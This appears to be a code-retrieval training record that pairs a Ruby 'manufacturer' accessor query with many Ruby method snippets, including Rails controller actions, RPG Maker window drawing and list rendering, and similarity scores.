labels.empty?\n\n start = \"<p>#{labels}\"\n @characters += 1 # try to include the label\n start\n else\n raise RDoc::Error, \"Invalid list type: #{list_type.inspect}\"\n end\n end", "def draw_item(index)\n rect = item_rect(index)\n self.contents.clear_rect(rect)\n skill = @data[index]\n if skill != nil\n rect.width -= 4\n enabled = @actor.skill_can_use?(skill)\n draw_item_name(skill, rect.x, rect.y, enabled)\n self.contents.draw_text(rect, @actor.calc_mp_cost(skill), 2)\n end\n end", "def check_mark\n image_tag('bullet.jpg', :style => \"border: 0px\")\n end", "def pline(left, right)\n %{<li><font size=\"+1\"><b>#{left}</b> over #{right}</font>\n }\nend", "def lyric; end", "def ranged_weapon; end", "def move\r\n # Move bullet fired by the Spaceship up the screen \r\n if @type == 'good'\r\n @y -= @SPEED\r\n # Move bullet fired by the Aliens down the screen \r\n elsif @type == 'evil'\r\n @y += @SPEED\r\n end\r\n end", "def shoot arrow\r\n arrow.x+=arrow.vel_x\r\n arrow.y+=arrow.vel_y\r\n end", "def special_list_item_line(text)\n end", "def drop_item1\n return enemy.drop_item1\n end", "def projectile\n end", "def initialize(x, y, speedx, speedy, collisionradius, angle)\n super(x, y, speedx, speedy, collisionradius)\n\n @angle = angle\n\n @birthtime = Time.now.to_f\n\n @@BulletInstances.push(self) # Also add the bullet to the bullet instances array (besides the space objects arrays)\n end", "def draw_item(index, color = Color.new(0,0,0))\n self.contents.font.color = color\n if !@icons\n draw_text(index+1, @commands[index])\n else\n icon = \"\"\n unless @commands[index] == \"Drop\" or @commands[index] == \"Drop \"\n icon = Config.get_command_icon(@commands[index])\n draw_text_icon(index+1, @commands[index], icon)\n else\n # Get the correct unit when drawing the \"Drop\" command(s)\n held_unit = @unit.holding_units[0] if @commands[index] == \"Drop\"\n held_unit = @unit.holding_units[1] if @commands[index] == \"Drop \"\n # Get the held unit's bitmap\n id = \"_\" + held_unit.army.id.to_s\n bitmap = RPG::Cache.character(held_unit.name + id, 0)\n y = 32 * (index+1) - 32\n rect = Rect.new(0,0,bitmap.width/4,bitmap.height)\n self.contents.blt(0, y, bitmap, rect)\n \n # Get held unit's flag\n if held_unit.holding_units.size > 0 or held_unit.hiding\n bitmap = RPG::Cache.picture(\"load\") if @unit.holding_units.size > 0\n bitmap = RPG::Cache.picture(\"hide\") if @unit.hiding\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\n self.contents.blt(0, y+16, bitmap, rect)\n end\n \n # If unit has damage on it\n if held_unit.unit_hp < 10\n bitmap = RPG::Cache.picture(\"hp_\" + held_unit.unit_hp.to_s)\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\n self.contents.blt(16, y+16, bitmap, rect)\n end\n draw_text_indent(index+1, \"Drop\")\n end\n end\n end", "def body1\n @letter.records.map do |item|\n [item.name]\n\n text \"Dear #{item.name},\", size: 12, style: :bold, align: :left\n move_down 10\n text \"Pay for performance is at the core of our compensation philosophy. We reward our people for achieving corporate goals and meeting or exceeding performance expectations. Based on the outcome of your 2018 performance review, your merit increase has been calculated accordingly. Your salary increase calculation is as follows:\", size: 11\n end\n end", "def potion; end", "def description\n return $BlizzABS.util.add_weapon_text(@description, @id, 2)\n end", "def enemy;\n @item;\n end", "def random_list( type = 'ul', paragraphs = false, item_num = 2 + rand(7) )\n items = (1..item_num).collect do\n \"<li>\" + (paragraphs ? self.random_p : @texter.random_sentence) + \"</li>\"\n end\n \"<#{type}>\\n\" + items.join(\"\\n\") + \"\\n</#{type}>\"\n end", "def checkCollide(enemyBullets)\n enemyBullets.each do |bullet|\n if Gosu::distance(bullet.x, bullet.y, @x, @y) < 5\n @isKill = true\n end\n end\n end", "def drop_item2\n return enemy.drop_item2\n end", "def set_pushbullet\n @pushbullet = Pushbullet.find(params[:id])\n end", "def weapon; end", "def weapon; end", "def weapon; end", "def draw_item(index)\n actor = $game_party.battle_members[index]\n if $game_temp.est_valid_target != nil\n if $game_temp.est_valid_target.size == 0\n name = ESTRIOLE::TEXT_NO_VALID_TARGET\n draw_text(item_rect_for_text(index), name)\n return\n end\n actor = $game_temp.est_valid_target[index] \n end\n draw_basic_area(basic_area_rect(index), actor)\n draw_gauge_area(gauge_area_rect(index), actor)\n end", "def accept_list_item_end list_item\n width = case @list_type.last\n when :BULLET then\n 2\n when :NOTE, :LABEL then\n if @prefix then\n @res << @prefix.strip\n @prefix = nil\n end\n\n @res << \"\\n\" unless res.length == 1\n 2\n else\n bullet = @list_index.last.to_s\n @list_index[-1] = @list_index.last.succ\n bullet.length + 2\n end\n\n @indent -= width\n end", "def dog_eat(items)\n \t items.each do |item|\n \t\t puts \"My puppy likes #{item}\"\n \t end\n end", "def strike(target)\n return nil unless target.is_a? Creature\n if rand > target.evasion\n attack = @strength + (@weapon ? $items[@weapon].damage : 0)\n defense = target.agility + (target.armor ? $items[target.armor].defense : 0)\n if rand(32) != 0\n damage_base = (attack - defense / 2.0)\n damage = rand((damage_base / 4)..(damage_base / 2)).to_i\n damage = rand(2) if damage < 1\n else\n damage = rand((attack/2)..(attack))\n end\n target.hp -= damage\n damage\n else\n nil\n end\n end", "def unordered_list; end", "def draw_drops(cols = 1, w = 1)\n x = (max_width * w - text_size('Drops').width) / 2\n draw_text_ex(x, @draw_y * line_height, '\\c[16]Drops')\n @draw_y += 1\n if @enemy.enemy.bestiary_show?(:dro)\n cwid = max_width * w / cols\n @enemy.enemy.drop_items.each_with_index do |d,i|\n next if d.kind == 0\n key = \"#{d.kind}-#{d.data_id}\"\n if RequireDropKnown['Item'] &&\n !$game_party.knows_bestiary_data?(:dro, key, @id)\n unknown = true\n next unless RequireDropKnown.values.include?(false)\n end \n @draw_y += 1 if i > 0 && i % cols == 0\n row_x, row_y = (i % cols) * cwid, @draw_y * line_height\n if DropRateType == :default\n rate = \"#{(1.0 / d.denominator) * 100}%\"\n else rate = \"#{d.denominator}%\" end\n case d.kind\n when 1; di = $data_items[d.data_id]\n when 2; di = $data_weapons[d.data_id]\n when 3; di = $data_armors[d.data_id]\n end\n icon, item = di.icon_index, di.name\n if unknown\n if RequireDropKnown['Icon'] == false\n draw_icon(icon, row_x, row_y, false)\n end\n change_color(normal_color, false)\n wid = text_size('???').width\n draw_text(row_x + 32, row_y, wid + 4, line_height, '???')\n if RequireDropKnown['Rate'] == false\n draw_text(row_x + 28, row_y, cwid - 36, line_height, rate, 2)\n end\n else\n reset_font_settings\n draw_icon(icon, row_x, row_y)\n wid = cwid - 32 - text_size('50%').width\n draw_text(row_x + 32, row_y, wid, line_height, item)\n draw_text(row_x + 28, row_y, cwid - 36, line_height, rate, 2)\n end\n end\n @draw_y += 1\n end\n end", "def draw\n letter = @bag.draw\n if letter then\n @words += [letter]\n end\n return letter\n end", "def block_textile_lists( text )\n orig_text = text.dup\n \n # Take care of _*'s and _#'s to turn them into paragraphs\n text.gsub!(/([\\*#] )((.*?\\n\\s*_[\\*#].*?)+)/) do |m|\n \"#{$1}<p>\"+$2.split(/_[\\*#]/).map{|w|w.strip}.delete_if{|w|w.empty?}.join(\"</p><p>\")+\"</p>\"\n end\n \n @last_line ||= -1\n \n text.gsub!( LISTS_RE ) do |match|\n if text =~ /^#([_0-9]+).*/m\n if $1 == $1.to_i.to_s # then it is a number, so use it\n @last_line = $1.to_i - 2\n end\n else\n @last_line = -1\n end\n lines = match.split( /\\n/ )\n depth = []\n lines.each_with_index do |line, line_id|\n if line =~ LISTS_CONTENT_RE \n \n tl,continuation,atts,content = $~[1..4]\n @last_line += 1 if tl.length == 1\n \n unless depth.last.nil?\n if depth.last.length > tl.length\n (depth.length - 1).downto(0) do |i|\n break if depth[i].length == tl.length\n lines[line_id - 1] << \"</li>\\n#{\"\\t\"*(depth.size-1)}</#{ lT( depth[i] ) }l>\"\n depth.pop\n tab_in = true\n end\n end\n if depth.last && depth.last.length == tl.length\n lines[line_id - 1] << \"</li>\"\n end\n end\n unless depth.last == tl\n depth << tl\n atts = pba( atts )\n atts << \" start=\\\"#{@last_line + 1}\\\"\" if lT(tl) == \"o\" && !continuation.empty? && @last_line > 0\n atts = shelve( atts ) if atts\n lines[line_id] = \"#{\"\\t\"*(depth.size-1)}<#{ lT(tl) }l#{ atts }>\\n#{\"\\t\"*depth.size}<li>#{ content }\"\n else\n lines[line_id] = \"#{\"\\t\"*depth.size}<li>#{ content }\"\n end\n elsif line =~ /^([_]+)(#{A}#{C}) (.*)$/m\n @last_line += 1\n tl = \"u\"\n atts,content = $~[2..3]\n \n unless depth.last.nil?\n if depth.last.length > tl.length\n (depth.length - 1).downto(0) do |i|\n break if depth[i].length == tl.length\n lines[line_id - 1] << \"</li>\\n#{\"\\t\"*(depth.size-1)}</#{ lT( depth[i] ) }l>\"\n depth.pop\n tab_in = true\n end\n end\n if depth.last and depth.last.length == tl.length\n lines[line_id - 1] << \"</li>\"\n end\n end\n unless depth.last == tl\n depth << tl\n atts = pba( atts )\n atts = shelve( \"#{atts} style=\\\"list-style-type:none;\\\"\" )\n lines[line_id] = \"#{\"\\t\"*(depth.size-1)}<#{ lT(tl) }l#{ atts }>\\n#{\"\\t\"*depth.size}<li>#{ content }\"\n else\n lines[line_id] = \"#{\"\\t\"*depth.size}<li>#{ content }\"\n end\n end\n \n if line_id == lines.length - 1\n tabs = depth.size-1\n depth.reverse.delete_if do |v|\n lines[-1] << \"</li>\\n#{\"\\t\"*tabs}</#{ lT( v ) }l>\"\n tabs -= 1\n end\n end\n end\n lines.join( \"\\n\" )\n end\n \n text != orig_text\n end", "def italic; end", "def italic; end", "def accept_list_item_end list_item\n width = case @list_type.last\n when :BULLET then\n 2\n when :NOTE, :LABEL then\n if @prefix then\n @res << @prefix.strip\n @prefix = nil\n end\n\n @res << \"\\n\"\n 2\n else\n bullet = @list_index.last.to_s\n @list_index[-1] = @list_index.last.succ\n bullet.length + 2\n end\n\n @indent -= width\n end", "def draw_drops_content\n y = draw_drops\n draw_steals(y)\n if enemy.robbery_amount > 0\n draw_steal_gold(contents_height - line_height)\n end\n end", "def spot_legs\n lines = []\n indent = 0\n spacer = @width - @padding\n\n draw_legs(lines, indent, spacer)\n lines\n end", "def amount( item, list )\n \"#{ list.size } #{ item }#{ pl list }\"\nend", "def draw_item(index)\n return unless @actor\n contents.font.size = Revoked::Menu::FONT_SMALL\n contents.font.name = Revoked::Menu::FONT_NAME\n contents.font.color = Revoked::Menu::FONT_BROWN\n contents.font.color.alpha = 128\n contents.font.shadow = false\n contents.font.outline = false\n rect = item_rect_for_text(index)\n #draw_text(rect.x + 22, rect.y, 92, line_height, \":\")\n #draw_icon(Revoked::Menu::EQUIP_SLOT_ICON[index], rect.x - 3, rect.y)\n draw_item_name(@actor.equips[index], rect.x + 28, rect.y, enable?(index))\n end", "def draw_unit_list(index)\n # Get the unit value\n unit = @units[index]\n # Draw the unit graphic\n id = \"_\" + unit.army.id.to_s\n bitmap = RPG::Cache.character(unit.name + id, 0)\n y = 32 * (index+1) - 32\n rect = Rect.new(@sprite_frame*32, 0, 32, 32)\n # Reset the font and unit opacity\n opacity = 255\n self.contents.font.color = Color.new(0,0,0,255)\n if unit.army.funds < unit.cost(true)\n opacity = 180\n self.contents.font.color = Color.new(0,0,0,128)\n end\n self.contents.blt(0, y, bitmap, rect, opacity)\n # Draw the unit's name and cost\n draw_text_indent(index+1, unit.real_name)\n draw_text_indent(index+1, unit.cost(true).to_s, 125)\n end", "def start_special_list_item\n end", "def tick args\n border_as_solid_and_solid_as_border args\n sprite_as_border_or_solids args\n collection_of_borders_and_solids args\n collection_of_sprites args\nend", "def bible_list\n bible_list_sym.map{|l| t(\"bible.#{l}\")}\n end", "def draw_advanced(rect, item) end", "def draw_advanced(rect, item)\n end", "def shoot\n\t\tt = (Rubygame::Time.get_ticks() - @parent.stamp[:p])/1000.0\n\t\tv = Vector.new(1,0).rotate(@parent.angle)\n\t\tv.magnitude += 150\n\t\tp = @parent.project(t)\n\t\t@parent.groups[0].push(@type.new(p,v,@lifespan))\n\tend", "def draw_item(index)\n rect = item_rect_for_text(index)\n self.contents.clear_rect(rect)\n item = @data[index]\n if $game_party.known_enemy?(item.id)\n self.contents.font.color.alpha = 255\n self.draw_text(rect.x, rect.y, rect.width, line_height, item.name)\n else\n self.contents.font.color.alpha = 128\n str = item.name.gsub(/\\w/, BestiaryConfig::UNKNOWNCHAR)\n self.draw_text(rect.x, rect.y, rect.width, line_height, str)\n end\n end", "def show\n @bullet_type = BulletType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bullet_type }\n end\n end", "def melee_weapon; end", "def spouse; end", "def initialize\n @fonts = {}\n @images = {}\n @encodings = {}\n @bullets = {}\n end", "def handgunWeapon _args\n \"handgunWeapon _args;\" \n end", "def list_item_start(list_item, list_type)\n case list_type\n when :BULLET, :LALPHA, :NUMBER, :UALPHA then\n \"<li>\"\n when :LABEL, :NOTE then\n Array(list_item.label).map do |label|\n \"<dt>#{to_html label}\\n\"\n end.join << \"<dd>\"\n else\n raise RDoc::Error, \"Invalid list type: #{list_type.inspect}\"\n end\n end" ]
[ "0.75124717", "0.7439275", "0.6829142", "0.6815622", "0.6788822", "0.66167885", "0.6506522", "0.641715", "0.63753724", "0.6371628", "0.6364791", "0.63384837", "0.6282106", "0.6262739", "0.6236886", "0.6218436", "0.62153554", "0.6179613", "0.6142401", "0.6119371", "0.59584105", "0.59387106", "0.5904368", "0.588829", "0.5888256", "0.5862082", "0.58403957", "0.5813807", "0.57849884", "0.57691956", "0.5753252", "0.57174146", "0.57048446", "0.57033616", "0.56774354", "0.56570166", "0.55378693", "0.55219394", "0.54047024", "0.53977823", "0.5397667", "0.53806996", "0.5380091", "0.53632957", "0.53528714", "0.5352153", "0.5315863", "0.5252591", "0.524517", "0.52313054", "0.5217189", "0.52052206", "0.5203686", "0.51693153", "0.51478606", "0.5137649", "0.50760317", "0.5060539", "0.5048431", "0.50193536", "0.5014196", "0.50060815", "0.5005114", "0.500224", "0.4999422", "0.49809176", "0.49655822", "0.49638346", "0.49637854", "0.49637854", "0.49637854", "0.4951419", "0.49481797", "0.4940479", "0.49396205", "0.49395576", "0.49193767", "0.49135336", "0.49129057", "0.49026132", "0.49026132", "0.4901428", "0.48919898", "0.48912495", "0.48831722", "0.48801956", "0.48782247", "0.48643863", "0.48602843", "0.48477542", "0.48397166", "0.4838498", "0.48378482", "0.4836499", "0.48356843", "0.48301768", "0.48273993", "0.4826661", "0.48175487", "0.48051578" ]
0.7533692
0
TODO: more than one manufacturer?
def manufacturer @manufacturer ||= load_data.first.manufacturer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def manufacturer; end", "def manufacturer\n data['manufacturer']\n end", "def manufacturer\n return @manufacturer\n end", "def manufacturer\n return @manufacturer\n end", "def manufacturer\n return @manufacturer\n end", "def manufacturer=(value)\n @manufacturer = value\n end", "def manufacturer\n fetch('device.manufacturer')\n end", "def manufacturer=(value)\n @manufacturer = value\n end", "def manufacturer=(value)\n @manufacturer = value\n end", "def set_manufacturer\n @manufacturer = DisManufacturer.find(params[:id])\n end", "def device_manufacturer\n return @device_manufacturer\n end", "def device_manufacturer\n return @device_manufacturer\n end", "def list_manufacturers\n\t@manufacturers.each do |manufacturer|\n\t\t\tputs \"#{@manufacturers.index(manufacturer)}: #{manufacturer}\"\n\tend\nend", "def set_manufacturer\n @manufacturer = Manufacturer.find(params[:id])\n end", "def set_manufacturer\n @manufacturer = Manufacturer.find(params[:id])\n end", "def set_manufacturer\n @manufacturer = Manufacturer.find(params[:id])\n end", "def device_manufacturer=(value)\n @device_manufacturer = value\n end", "def device_manufacturer=(value)\n @device_manufacturer = value\n end", "def set_device_manufacturer\n @device_manufacturer = DeviceManufacturer.find(params[:id])\n end", "def model(manufacturer_of_model = '')\n manufacturer_of_model = manufacturer if manufacturer_of_model.empty?\n fetch(\"aircraft.model_by_manufacturer.#{manufacturer_of_model}\")\n end", "def brand()\n sql = \"SELECT * FROM manufacturers WHERE id = $1\"\n values = [@manuf_id]\n brand = SqlRunner.run(sql, values)\n return brand.map{|manuf| Manufacturer.new(manuf)}[0]\n end", "def get_name\n \"#{@manufacturer} #{@model}\"\n end", "def manufacture; end", "def manufacture\n fetch('vehicle.manufacture')\n end", "def generate_product_manufacturer\n @driver.find_element(id: @product_manufacturer).send_keys(Faker::Company.industry)\n end", "def manufacturer\n Mac.manufacturer(mac)\n end", "def set_car_manufacturer\n @car_manufacturer = CarManufacturer.find(params[:id])\n end", "def set_vehicle_manufacturer\n @vehicle_manufacturer = VehicleManufacturer.find(params[:id])\n end", "def set_vehicle_manufacturer\n @vehicle_manufacturer = VehicleManufacturer.find(params[:id])\n end", "def show\n respond_with(@device_manufacturer)\n end", "def manufacturer_id\n mac[0..7]\n end", "def make_and_model\n\tfor i in 0...@manufacturers.count\n\t\tputs \"#{i}. #{@manufacturers[i]}: #{@models[i]}\"\n\t\ti += 1\n\tend\nend", "def test_manufacturer\n tacoma = Vehicle.new(color: \"Silver\", model_year: 2007, manufacturer: \"Toyota\", model: \"Tacoma\")\n actual = tacoma.manufacturer\n assert_equal('Toyota', actual, \"'Toyota' as a string should be returned\")\n\n tacoma.manufacturer = 'Honda'\n actual = tacoma.manufacturer\n assert_equal('Honda', actual, \"'Honda' as a string should be returned\")\n end", "def tire_manufacturer_id_conditions\n [\"tire_models.tire_manufacturer_id = ?\", self.id]\n end", "def manufacturer_params\n params.require(:manufacturer).permit(:name)\n end", "def manufacturer_params\n params.require(:manufacturer).permit(:name, :description)\n end", "def does_a_manufacturer_to_this_phone_model_exist\n if ! Manufacturer.exists?(:id => self.manufacturer_id)\n errors.add(:manufacturer_id, \"There is no Manufacturer with the given id #{self.manufacturer_id}.\")\n end \n end", "def manufacturer_params\n params.require(:manufacturer).permit(:name, :address1, :address2, :city, :state_id, :pin, :phone, :fax, :email, :website, :mobilephoe, :abbrev, :phone2, :release_status_id, :status_id)\n end", "def update\n if @device_manufacturer.update(device_manufacturer_params)\n respond_with(@device_manufacturer, location: device_manufacturers_url, notice: 'Device manufacturer was successfully updated.')\n else\n respond_with(@device_manufacturer)\n end\n end", "def set_description\n self.description = \"#{self.manufacturer.code} #{self.manufacturer_model}\" unless self.manufacturer.nil?\n end", "def show\n @manufacturer = Manufacturer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manufacturer }\n end\n end", "def show\n @manufacturer = Manufacturer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manufacturer }\n end\n end", "def create\n @device_manufacturer = DeviceManufacturer.new(device_manufacturer_params)\n\n if @device_manufacturer.save\n respond_with(@device_manufacturer, location: device_manufacturers_url, notice: 'Device manufacturer was successfully created.')\n else\n respond_with(@device_manufacturer)\n end\n end", "def test_include\r\n prods = Product.find(:all, :include => :manufacturer)\r\n assert_equal 5, prods.size\r\n assert_equal \"first-mfr\", prods.first.manufacturer.code\r\n end", "def set_manufacturing\n @manufacturing = Manufacturing.find(params[:id])\n \n end", "def update\n respond_to do |format|\n if @manufacturer.update(manufacturer_params)\n format.html { redirect_to @manufacturer, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @manufacturer }\n else\n format.html { render :edit }\n format.json { render json: @manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end", "def manufacturer_params\n params.require(:manufacturer).permit(:name, :cnpj)\n end", "def device_manufacturer_params\n params.require(:device_manufacturer).permit(:name)\n end", "def audit_tirerack_properties\n mfg_list = get_manufacturer_list\n manufacturer_property = Property.find_by_name('manufacturer')\n counter = 0\n Product.in_taxon('Tires').each do |tire|\n mfg_list.each do |mfg|\n if tire.taxons.map(&:name).include?(mfg)\n # does this tire have the manufacturer property! If not make it so...\n if !tire.properties.include?('manufacturer')\n ProductProperty.create(:product_id => tire.id, :property_id => manufacturer_property.id, :value => mfg)\n counter += 1\n end\n end\n end\n end\n puts \"Updated #{counter} Tire Products to have an appropriate manufacturer Property\\n\"\n end", "def index\n @vehicle_manufacturers = VehicleManufacturer.order(\"name\")\n @vehicle_manufacturer = VehicleManufacturer.new\n end", "def vendor; end", "def display_name\n self.device_name || \"#{vendor} #{model}\"\n end", "def vendor\n return :qlogic if self[\"VendorName\"] =~ /qlogic|broadcom/i\n return :qlogic if self[\"PCIVendorID\"] == \"14e4\"\n\n return :mellanox if self[\"VendorName\"] =~ /mellanox/i\n return :mellanox if self[\"PCIVendorID\"] == \"15b3\"\n\n return :intel if self[\"VendorName\"] =~ /intel/i\n\n :intel if self[\"PCIVendorID\"] == \"8086\" # have seen cases where VendorName not populated\n end", "def brand_with_model; end", "def vendor\n FarMar::Vendor.all.select { |vendor| vendor.vendor_id == vendor_id }\n end", "def vendor\n FarMar::Vendor.all.select { |vendor| vendor.vendor_id == vendor_id }\n end", "def index\n @q = DeviceManufacturer.search(params[:q])\n @device_manufacturers = @q.result(distinct: true).page(params[:page])\n\n respond_with(@device_manufacturers)\n end", "def vehicle_model_params\n\n begin\n p = params.require(:vehicle_model).permit(:name, :description, :manufacturer,:manufacturer_id)\n @manufacturer = Company.find(params.require('VehicleModel').permit(:manufacturer_id)[:manufacturer_id].to_i)\n @manufacturer = Company.find(p[:manufacturer_id].to_i) if @manufacturer.nil?\n if @manufacturer.nil?\n # @manufacturer = Company.create(name: params.require(:model).permit(:manufacturer)[:manufacturer])\n @error = \"Produttore non esistente: #{p[:manufacturer]} (#{p[:manufacturer_id]}).\\n\\n\"\n elsif @manufacturer.name != p[:manufacturer]\n @error = \"Produttore non esistente: #{p[:manufacturer]} (Prod. impostato #{@manufacturer.name}).\\n\\n\"\n elsif !p[:name].match(/^[\\s]*$/).nil? or p[:name].nil?\n @error = \"Modello non valido: '#{p[:name]}'\\n\\n\"\n else\n p[:manufacturer] = @manufacturer\n end\n rescue Exception => e\n @error = \"#{e.message}\\n\\n\"\n end\n # params.require(:vehicle_model).permit(:name, :description)\n p\n # p[:vehicle_type] = VehicleType.find(p[:vehicle_type].to_i)\n # p\n end", "def car_manufacturer_params\n params.require(:car_manufacturer).permit(:name)\n end", "def vendor\n FarMar::Vendor.find(self.vendor_id)\n end", "def initialize(device)\n @dev = device\n @model = device.product\n\n case device.manufacturer\n when '?'\n @vendor = VENDORS[device.idVendor] || 'Unknown'\n else\n @vendor = device.manufacturer\n end\n end", "def inc_manufacturer_count\n if !self.is_stub? && self.manufacturer.present?\n self.manufacturer.update_attribute :products_count, self.manufacturer.products_count += 1\n end\n end", "def vendor\n FarMar::Vendor.all.find {|instance| instance.id == vendor_id}\n end", "def new\n @phone_model = PhoneModel.new\n\n if params[:manufacturer_id].nil?\n @phone_model.manufacturer_id = PhoneModel.last.manufacturer.id\n else\n @phone_model.manufacturer_id = params[:manufacturer_id]\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phone_model }\n end\n end", "def vendor\n FarMar::Vendor.find(@vendor_id)\n end", "def article_params\n\n unless params[:manufacturer] == ''\n # @manufacturer = Company.find(:all,:conditions => ['name LIKE ?', \"#{params[:manufacturer]}\"])\n @manufacturer = Company.where('name LIKE ?', \"#{params[:manufacturer]}\").first\n if @manufacturer.nil?\n @manufacturer = Company.create(:name => params[:manufacturer])\n end\n else\n @manufacturer = Company.first\n end\n params[:article][:measure_unit] = params[:article][:measure_unit].to_i\n params.require(:article).permit(:barcode, :manufacturerCode, :name, :description, :containedAmount, :minimalReserve, :position_code, :measure_unit)\n end", "def to_label\n manufacturer.to_s + \" - \" + title\n end", "def vendor\n return array_of_instances(FarMar::Vendor.all, \"vendor_id\", vendor_id).first\n end", "def show\n respond_with DisManufacturer.find(params[:id])\n end", "def index\n @car_manufacturers = CarManufacturer.all\n end", "def brand_name\n product.brand_name\n end", "def show\n @appliance_manufacturer = ApplianceManufacturer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appliance_manufacturer }\n end\n end", "def add_vendor\n vendor = @product_row[:vendor].match(/[\\D\\s]*/)\n vendors = Spree::Vendor.where(\"name ILIKE ?\", \"%#{vendor[0].strip}%\")\n if !(vendors.empty?)\n if(@product_row[:vendor].match(/goers/i))\n notes = notes = \"\" ? @product_row[:vendor] : notes + \", \" + @product_row[:vendor]\n end\n\n @new_product_vendor = Spree::ProductVendor.create :variant_id => @new_product_condition.id,\n :vendor_id => vendors.first.id,\n :vendor_part_number => @product_row[:vendor_part_number],\n :vendor_price => @product_row[:vendor_price],\n :notes => notes\n else\n @errors << { :part_number => @product_row[:name], :condition => @product_row[:condition], :message => \"Could not match vendor \" + @product_row[:vendor] }\n end\n end", "def vendor\n FarMar::Vendor.all.find { |vendor| vendor.id == vendor_id }\n end", "def vendor\n vendor_id = self.vendor_id\n vendor = FarMar::Vendor.find(vendor_id)\n return vendor\n end", "def vendor\n FarMar::Vendor.find(@vendor_id)\n end", "def vendor\n id = self.vendor_id\n found_vendor = FarMar::Vendor.find(id)\n return found_vendor\n end", "def fetch_brand_object_and_vendors\n #determine where the id of the brand is stored\n brand_id = params[:id] || params[:brand_id]\n #find the row\n @manufacturer = Manufacturer.find_by_param(brand_id) || Manufacturer.find_by_name(brand_id)\n \n #error out if no row is found\n render_404 and return false if @manufacturer.blank?\n \n #find vendors if a user belongs to a premium firm\n if @premium\n sales_reps = @firm.sales_reps.includes(:office_sales_reps).where(:\"office_sales_reps.manufacturer_id\"=>@manufacturer.id).references(:office_sales_reps).group(:\"sales_reps.id\")\n @all_vendors_count = sales_reps.to_a.count\n @local_vendors_count = sales_reps.where(:\"office_sales_reps.office_id\"=>current_user.office.id).to_a.count if current_user.office.present?\n end\n end", "def vehicle_manufacturer_params\n params.require(:vehicle_manufacturer).permit(:name)\n end", "def vendor\n CSV.foreach(VENDORS_CSV) do |line|\n return FarMar::Vendor.new(line) if line[0].to_i == vendor_id\n end\n end", "def get_manufacturer_name(sys_id)\n url = \"#{@service_now_url}/table/core_company/#{sys_id}\"\n name = nil\n begin\n response = RestClient.get(url,\n authorization: \"Basic #{Base64.strict_encode64(\"#{@username}:#{@password}\")}\",\n content_type: 'application/json',\n accept: 'application/json',\n timeout: 120)\n response_data = JSON.parse(response)\n result = response_data['result']\n unless result.nil?\n name = result['name'] || nil\n end\n\n rescue RestClient::ExceptionWithResponse => e\n e.response\n @logger.err(e.response) unless @logger.nil?\n end\n\n name\n end", "def show\n @manufacturer_partner = ManufacturerPartner.find(params[:id])\n @logos = SiteElement.where(\"name LIKE '%logo_inconcert_%'\").order(:name)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @manufacturer_partner }\n format.json { render json: @manufacturer_partner }\n end\n end", "def create\n @car_manufacturer = CarManufacturer.new(car_manufacturer_params)\n\n respond_to do |format|\n if @car_manufacturer.save\n format.html { redirect_to @car_manufacturer, notice: 'Car manufacturer was successfully created.' }\n format.json { render :show, status: :created, location: @car_manufacturer }\n else\n format.html { render :new }\n format.json { render json: @car_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end", "def vendor\n vendor_that_made_this_sale = nil\n vendors = FarMar::Vendor.all\n vendors.each do |vendor|\n if vendor.id == self.vendor_id\n vendor_that_made_this_sale = vendor\n return vendor_that_made_this_sale\n end#of if\n end#of do\n end", "def set_full_name\n self.full_name = \"#{manufacturer.name} #{name}\"\n end", "def vendor\n FarMar::Vendor.all.find { |vendor| vendor.id == @vendor_id }\n end", "def product_name; end", "def dec_manufacturer_count\n if !self.is_stub? && self.manufacturer.present?\n self.manufacturer.update_attribute :products_count, self.manufacturer.products_count -= 1\n end\n end", "def brand_name\n product.brand_name\n end", "def test_products()\n assert_equal(1, @manufacturer1.products.length())\n end", "def create\n @manufacturer = Manufacturer.new\n @manufacturer.name = params[:name]\n @manufacturer.rebate = params[:rebate]\n @manufacturer.rebate_description = params[:rebate_description]\n\n if @manufacturer.save\n redirect_to manufacturers_url\n else\n render 'new'\n end\n end", "def new\n @manufacturer = Manufacturer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manufacturer }\n end\n end", "def create\n @appliance_manufacturer = ApplianceManufacturer.new(params[:appliance_manufacturer])\n\n respond_to do |format|\n if @appliance_manufacturer.save\n format.html { redirect_to @appliance_manufacturer, notice: 'Appliance manufacturer was successfully created.' }\n format.json { render json: @appliance_manufacturer, status: :created, location: @appliance_manufacturer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @appliance_manufacturer.errors, status: :unprocessable_entity }\n end\n end\n end", "def select_manufacturer\n puts \"\\n\\nSelect a manufacturer: \"\n puts Manufacturer.manufacturer_list\n @manufacturer_index = gets.chomp.to_i\n if !@manufacturer_index.between?(1, Manufacturer.all.count)\n puts Rainbow(\"Option does not exist, please select again!\").red.bold\n select_manufacturer\n end\nend", "def show\n @manufacturer_line = ManufacturerLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @manufacturer_line }\n end\n end", "def material\n end", "def vendor_name\n vendor&.name\n end", "def destroy\n @device_manufacturer.destroy\n\n respond_with(@device_manufacturer, location: device_manufacturers_url)\n end", "def vendors ##DON'T NEED TO PASS IN AN ARGUMENT JUST THE VALUE FROM THE ARGUMENT!!!!\n # lookup every vendor that matches this market id\n FarMar::Vendor.by_market(@id)\n ##OMG YAY, REMEMBER THIS TO BRING IN CLASSES FOR DIFFERENT METHODS,\n ##bring in class object and method and pass in the id from market\n end", "def update\n @manufacturer = Manufacturer.find_by_id(params[:id])\n @manufacturer.name = params[:name]\n @manufacturer.rebate = params[:rebate]\n @manufacturer.rebate_description = params[:rebate_description]\n\n if @manufacturer.save\n redirect_to manufacturers_url\n else\n render 'edit'\n end\n end" ]
